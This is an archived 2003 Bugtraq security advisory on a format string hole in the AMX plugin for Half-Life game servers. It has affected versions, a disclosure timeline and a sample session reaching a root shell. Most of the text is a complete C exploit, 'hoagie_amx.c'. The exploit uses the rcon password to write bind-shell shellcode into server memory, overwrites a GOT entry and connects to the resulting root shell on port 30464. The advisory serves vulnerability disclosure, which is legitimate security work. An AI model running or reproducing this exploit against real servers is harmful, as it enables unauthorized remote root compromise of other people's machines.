[VSA0308] Half-Life AMX-Mod remote (root) hole

From: VOID.AT Security (asdf@asdf.com)
Date: 02/26/03

  • Next message: Raj Mathur: "Re: Netscape 6/7 crashes by a simple stylesheet..."
    From: "VOID.AT Security" <asdf@asdf.com>
    To: bugtraq@securityfocus.com
    Date: Wed, 26 Feb 2003 19:23:31 +0100
    
    
    

    [void.at Security Advisory VSA0308 - mailto:crew at void dot at]

    AMX[1] is a plugin for the "Half-Life Server", hosting
    the most popular online game today, "Counter-Strike", among
    others.

    Overview
    ========

    Due to a format string bug in AMX, it is possible
    for a remote attacker who knows the rcon-password to
    remotely exploit the gameserver. Since most game-server-
    admins I've seen are not very security-aware, the server
    generally runs as root.

    The rcon-password can be obtained using social engineering
    or sniffing-techniques, since it is being transmitted
    in plaintext. It is needed because the vulnerable function
    can only be called via rcon.

    Affected Versions
    =================

    All AMX versions <= 0.9.2 on Windows and Linux.
    Successfully tested with AMX 0.9.2 running on
    hlds 3.1.1.0 on Linux.

    Impact
    ======

    High. Remote-shell and very likely remote-root.

    Details
    =======

    This is a format string bug in the "amx_say"-command.
    I can't provide a code snipplet since this plugin is
    closed source. A word to the AMX-Team: closed source
    doesn't protect you against security bugs!

    rcon-output:

    log on
    amx_say %08x.%08x
    (ALL) hoschLAN CS 1.5 ~~ Public ~~ : %08x.%08x
    L 02/26/2003 - 18:39:09: Chat: "hoschLAN CS 1.5 ~~ Public ~~
    <0><><>" say "%08x.%08x"
    L 02/26/2003 - 18:39:09: "hoschLAN CS 1.5 ~~ Public ~~
    <0><><>" triggered "amx_say" (text "00000006.bffff258")

    Solution
    ========

    Disable AMX until a patched version becomes available.
    Change the rcon-password.

    Exploit
    =======

    Please find attached a demonstration exploit. Note that it will
    only work against a Linux-server due to the exploitation technique.
    This does NOT mean that Windows-servers are not vulnerable, they
    still suffer from the same hole.

    Sample exploitation session
    ===========================

    greuff@saturn:~$ ./hoagie_amx localhost 27015 myprecious
    hoagie_amx - remote exploit for hlds servers using the amx plugin
    by greuff@void.at

    Getting stackpop count....
    Stackpops found: 118, Padding: 1
    Writing shellcode.....
    Connecting to the shell...
    Connect to the shell
    id
    uid=0(root) gid=0(root) groups=0(root),101(lpadmin)
    exit

    Discovered by
    =============

    greuff <greuff@void.at>

    Timeline
    ========

    02-11-2003: informed djeyl@djeyl.net about the issue (AMX-developer)
                gave 14 days to release patched version to the public
    02-16-2003: olo@counter-strike.pl sent me a patched AMX version
    02-20-2003: confirmed that patched AMX version closes the hole
    02-25-2003: 14 days over: AMX-developers still didn't release a
                fixed version
    02-26-2003: public disclosure

    Credits
    =======

    void.at
    everyone who was at 19c3

    References
    ==========

    [1] http://www.amxmod.net

    ==================================================================

    /*****************************************************************
     * hoagie_amx.c
     *
     * Remote exploit for Halflife-Servers running the AMX-Plugin
     * (rcon-password required)
     *
     * Binds a shell to port 30464/tcp and connects to it.
     *
     * Author: greuff@void.at
     *
     * Tested with HL-Server v3.1.1.0 and AMX 0.9.2 on Linux
     *
     * Credits:
     * void.at
     * Taeho Oh for using parts of his shellcode-connection code.
     *
     * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
     * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
     * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
     *
     *****************************************************************/

    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <errno.h>
    #include <string.h>
    #include <netdb.h>
    #include <stdlib.h>

    #define VSNPRINTF_GOT_ADDRESS 0x0804ce18
    #define OFFSET 0x41414141

    #define SB4(a) ((unsigned int)(a>>24))
    #define SB3(a) ((unsigned int)((a>>16)&0xFF))
    #define SB2(a) ((unsigned int)((a>>8)&0xFF))
    #define SB1(a) ((unsigned int)(a&0XFF))

    // forks and binds a shell to 30464/tcp. parent process exit()s.
    char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
                       "\x31\xc0\xb0\x01\xcd\x80"
                       "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
                       "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
                       "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
                       "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
                       "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
                       "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
                       "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
                       "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
                       "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
                       "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
                       "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
                       "\x24\x31\xc0\xb0\x0b\xcd\x80"
                       "\x31\xc0\xb0\x01\xcd\x80";

    char server_ip[20];
    char rcon_pwd[30];
    int server_port;

    int exec_sh(int sockfd)
    {
            char snd[4096],rcv[4096];
            fd_set rset;
            while(1)
            {
                    FD_ZERO(&rset);
                    FD_SET(fileno(stdin),&rset);
                    FD_SET(sockfd,&rset);
                    select(255,&rset,NULL,NULL,NULL);
                    if(FD_ISSET(fileno(stdin),&rset))
                    {
                            memset(snd,0,sizeof(snd));
                            fgets(snd,sizeof(snd),stdin);
                            write(sockfd,snd,strlen(snd));
                    }
                    if(FD_ISSET(sockfd,&rset))
                    {
                            memset(rcv,0,sizeof(rcv));
                            if(read(sockfd,rcv,sizeof(rcv))<=0)
                                    exit(0);
                            fputs(rcv,stdout);
                    }
            }
    }

    int connect_sh()
    {
            int sockfd,i;
            struct sockaddr_in sin;
            struct hostent *he;
            printf("Connect to the shell\n");
            fflush(stdout);
            memset(&sin,0,sizeof(sin));
            sin.sin_family=AF_INET;
            sin.sin_port=htons(30464);
            if((he=gethostbyname(server_ip))<0) perror("gethostbyname"), exit(1);
            memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
            if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
            {
                    printf("Can't create socket\n");
                    exit(0);
            }
            if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
            {
                    printf("Can't connect to the shell\n");
                    exit(0);
            }
            return sockfd;
    }

    void create_conn(int *sock, char *host, int port)
    {
       struct sockaddr_in sin;
       struct timeval timeout;
       struct hostent *he;

       sin.sin_family=AF_INET;
       sin.sin_port=htons(port);
       if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
       memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
       if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);
       
       timeout.tv_sec=10;
       timeout.tv_usec=0;
       if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
          sizeof(timeout))<0)
          perror("setsockopt"),exit(1);
       if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
          sizeof(timeout))<0)
          perror("setsockopt"),exit(1);
    }

    void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
    {
       char msg[2000];
       struct sockaddr_in sin;
       struct sockaddr_in sfrom;
       struct hostent *he;
       fd_set fdset;
       int dummy;

       usleep(100);

       sin.sin_family=AF_INET;
       sin.sin_port=htons(port);
       if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
       memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));

       sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
       if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
          perror("sendto"), exit(1);

       if(reply)
       {
          if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
          {
             if(errno==EAGAIN)
             {
                // resend message
                printf("msg stalled, resending...\n");
                sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
                if(sendto(sock,msg,strlen(msg),0,(struct sockaddr
    *)&sin,sizeof(sin))<0)
                   perror("sendto"), exit(1);
                else
                   printf("resend OK\n");
                if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
                   perror("recvfrom"),exit(1);
             }
             else
                perror("recvfrom"), exit(1);
          }

          if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
             fprintf(stderr,"protocol error: reply\n"), exit(1);

          strcpy(reply,msg+4);
       }
    }

    void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char
    *reply_fun)
    {
       char reply[1000];
       char msg[2000];

       lowlevel_rcon(sock,host,port,"challenge rcon",reply);
       if(!strstr(reply,"challenge rcon "))
          fprintf(stderr,"protocol error\n"), exit(1);
       reply[strlen(reply)-1]=0;

       sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon
    "),rconpwd,cmd);
       if(reply_fun)
          lowlevel_rcon(sock,host,port,msg,reply);
       else
          lowlevel_rcon(sock,host,port,msg,NULL);
       if(reply_fun)
          strcpy(reply_fun,reply);
    }

    int get_padding(unsigned char c,int bytes_written)
    {
       int write_byte=c;
       int already_written=bytes_written;
       int padding;

       write_byte+=0x100;
       already_written%=0x100;
       padding=(write_byte-already_written)%0x100;
       if(padding<10) padding+=0x100;
       
       return padding;
    }

    void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
                            int *p4, int bytes_written)
    {
       // greetings to scud :-)
       int write_byte;
       int already_written;
       int padding;

       write_byte=SB1(addr);
       already_written=bytes_written;
       write_byte+=0x100;
       already_written%=0x100;
       padding=(write_byte-already_written)%0x100;
       if(padding<10) padding+=0x100;
       *p1=padding;

       write_byte=SB2(addr);
       already_written+=padding;
       write_byte+=0x100;
       already_written%=0x100;
       padding=(write_byte-already_written)%0x100;
       if(padding<10) padding+=0x100;
       *p2=padding;

       write_byte=SB3(addr);
       already_written+=padding;
       write_byte+=0x100;
       already_written%=0x100;
       padding=(write_byte-already_written)%0x100;
       if(padding<10) padding+=0x100;
       *p3=padding;

       write_byte=SB4(addr);
       already_written+=padding;
       write_byte+=0x100;
       already_written%=0x100;
       padding=(write_byte-already_written)%0x100;
       if(padding<10) padding+=0x100;
       *p4=padding;
    }

    int main(int argc, char **argv)
    {
       int sock, stackpops, padding;
       int i,j,bytes_written;
       int p1,p2,p3,p4;
       char cmd[1000], reply[1000];
       unsigned long addr;

       printf("hoagie_amx - remote exploit for hlds servers using the amx
    plugin\n"
              "by greuff@void.at\n\n");
       if(argc!=4)
       {
          printf("Usage: %s server_name server_port rcon_password\n\n",argv[0]);
          exit(1);
       }

       strcpy(server_ip,argv[1]);
       server_port=strtol(argv[2],NULL,10);
       strcpy(rcon_pwd,argv[3]);

       create_conn(&sock,server_ip,server_port);

       printf("Getting stackpop count...");
       send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
       stackpops=-1;
       for(padding=0;padding<4 && stackpops==-1;padding++)
       {
          for(i=50;i<200 && stackpops==-1;i++)
          {
             strcpy(cmd,"amx_say ");
             for(j=0;j<padding;j++) strcat(cmd,"b");
             sprintf(reply,"AAAA%%%d$08x",i);
             strcat(cmd,reply);

             send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
             reply[strlen(reply)-1]=0;
             if(strstr(reply,"AAAA41414141"))
             {
                char *ptr;
                ptr=strrchr(reply,'\n')+1; // get pointer to last log line
                stackpops=i;
                bytes_written=strstr(ptr," (text \"")+strlen(" (text
    \"")-strchr(ptr,'\"');
                bytes_written+=4+padding;
             }
             printf(".");
             fflush(stdout);
          }
       }
       padding--;
       if(stackpops==-1)
       {
          printf("\ncouldn't determine stackpop count. (I really tried hard!)\n");
          exit(1);
       }

       printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);

       // inject shellcode
       printf("Writing shellcode...");
       addr=OFFSET;
       for(i=0;i<strlen(shellcode);)
       {
          int t;
          if((addr&0xFF)>0x75)
          {
             // leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
             // distance is 0x13B-0x7A = 193d
             unsigned long target=192;

             strcpy(cmd,"amx_say ");
             for(j=0;j<padding;j++) strcat(cmd,"b");
             t=get_padding(0xe9,bytes_written);
             sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                 (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
             strcat(cmd,reply);
             send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
             
             addr++;
             strcpy(cmd,"amx_say ");
             for(j=0;j<padding;j++) strcat(cmd,"b");
             t=get_padding(target&0xFF,bytes_written);
             sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                 (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
             strcat(cmd,reply);
             send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

             addr++;
             strcpy(cmd,"amx_say ");
             for(j=0;j<padding;j++) strcat(cmd,"b");
             t=get_padding((target>>8)&0xFF,bytes_written);
             sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                 (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
             strcat(cmd,reply);
             send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

             addr++;
             strcpy(cmd,"amx_say ");
             for(j=0;j<padding;j++) strcat(cmd,"b");
             t=get_padding((target>>16)&0xFF,bytes_written);
             sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                 (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
             strcat(cmd,reply);
             send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
             
             addr++;
             strcpy(cmd,"amx_say ");
             for(j=0;j<padding;j++) strcat(cmd,"b");
             t=get_padding((target>>24)&0xFF,bytes_written);
             sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                 (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
             strcat(cmd,reply);
             send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

             addr+=193;
          }
          else
          {
             // write shellcode-pieces
             strcpy(cmd,"amx_say ");
             for(j=0;j<padding;j++) strcat(cmd,"b");
             t=get_padding(shellcode[i],bytes_written);
             sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
                 (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
             strcat(cmd,reply);
             send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
             addr++;
             i++;
          }
          printf(".");
          fflush(stdout);
       }

       // overwrite GOT entry with shellcode address
       strcpy(cmd,"amx_say ");
       for(j=0;j<padding;j++) strcat(cmd,"b");
       get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+24+padding*4);
       addr=VSNPRINTF_GOT_ADDRESS;
       sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
                     "%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
                     addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,
                     
    (addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,
                     
    (addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,
                     
    (addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
                     p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
       strcat(cmd,reply);
       send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
       sleep(1);
       close(sock);
       printf("\nConnecting to the shell...\n");
       exec_sh(connect_sh());
       return 0;
    }

    
    




    Relevant Pages

    • pointer within a struct in RPC
      ... I am not able to remote a structure which internally has a pointer to ... struct BBB{ ...
      (microsoft.public.win32.programmer.networks)
    • [UNIX] ATP HTTP Daemon Buffer Overflow
      ... A security vulnerability in the product allows remote ... NULL char to the end of the string. ... int start_byte; ... of buffer's string (without any environment variables except '_')! ...
      (Securiteam)
    • [VSA0302] Half-Life Adminmod remote (root) hole
      ... Adminmod versions 2.50.25a and 2.50.50 on Windows and Linux, ... hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin ... char rcon_pwd; ... int exec_sh ...
      (Bugtraq)
    • [VSA0302] Half-Life Adminmod remote (root) hole
      ... Adminmod versions 2.50.25a and 2.50.50 on Windows and Linux, ... hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin ... char rcon_pwd; ... int exec_sh ...
      (Bugtraq)
    • [NT] WinCom LPD Total Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... have been discovered in WinCom LPD Total, these allow a remote attacker to ... void fgetz(u8 *data, int size, FILE *fd); ... buff = malloc; ...
      (Securiteam)